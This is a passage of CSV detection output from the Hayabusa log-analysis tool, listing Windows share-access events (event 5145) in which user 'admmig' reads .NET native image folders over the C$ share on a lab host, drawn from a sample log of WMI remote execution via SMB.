+09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd518ee0d#\da3f8769af3163f94176c12ad223cb41 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We9f24001# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We9f24001#\6a6b3af569c21f51ab2982968ae2775d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We0722664# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.We0722664#\559ec1b9bc74181e3591df47bdb6b7ce : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wed3937f9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wed3937f9#\4af7f054b14a220217737e71e6adff82 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wf493a5fb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wf493a5fb#\1a4e8e027cdf1271603e7eba2cd8fab0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MIGUIControls : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.300 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MIGUIControls\184c548bb9ea9e668823e3bedee4d86a : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCEx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCEx\85a6f67f65de23064f7deded08a464c5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCFxCommon : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MMCFxCommon\52b6052b9447848191f40e69c88f0f8b : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MSBuild : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\MSBuild\2965d6f0cc081ef81005efec548f72a9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\mscorlib : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\c90ef9a73ea0044641d31b19023aad61 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napcrypt : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.316 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napcrypt\2c945f157cd851b9dc43e99e9a89b34d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\naphlpr : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\naphlpr\0ed1ed0e250773e63d7fe047dde76c81 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napinit : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napinit\1264f8bd57934a4941865b3c0512803e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napsnap : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\napsnap\5ab2511c5224a660e85286b3f2c2b752 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c968d57# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.332 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c968d57#\cc32e4d4e4dfbff56d3ae35134c1f38e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c9175f8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1c9175f8#\6a2929eeb7b5fa6ff9ef1b0f4ff440f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1da2af67# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio1da2af67#\efd939ad16f7521ac6c0c15afdcb2fa2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.347 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio4b37ff64# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio4b37ff64#\8bb4776b03f3c369fd0c81c51cf468ac : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\92388fbe99436e6ed1f56ee56f10c565 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio49d6fefe# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.363 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio49d6fefe#\9bb6d55c49486153c1c1872929def220 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio53a7a42c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio53a7a42c#\373b26e93f287f3cda45a6282a1de0d3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio080b339b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio080b339b#\9551a2df153a961cbbcb79bca937a833 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a7b877# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a7b877#\db7fe97a2a840dcc0278f7af89ea7fbe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a6349c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a6349c#\be1a119716bb1de8469b568ec9e31d9c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca#\e1c86f334a29d92ca264950085cd817e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiob3047ded# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiob3047ded#\8bda9cd4f7d015f685bae38300b2c281 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiod51afaa5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiod51afaa5#\276763baa173e2b94a6318e28594e7ee : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\619034abb9a9fb1b3dc32c0a9aa38d3c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationUI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationUI\e4b5f01da74352b18e1dffd68b611367 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ReachFramework : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 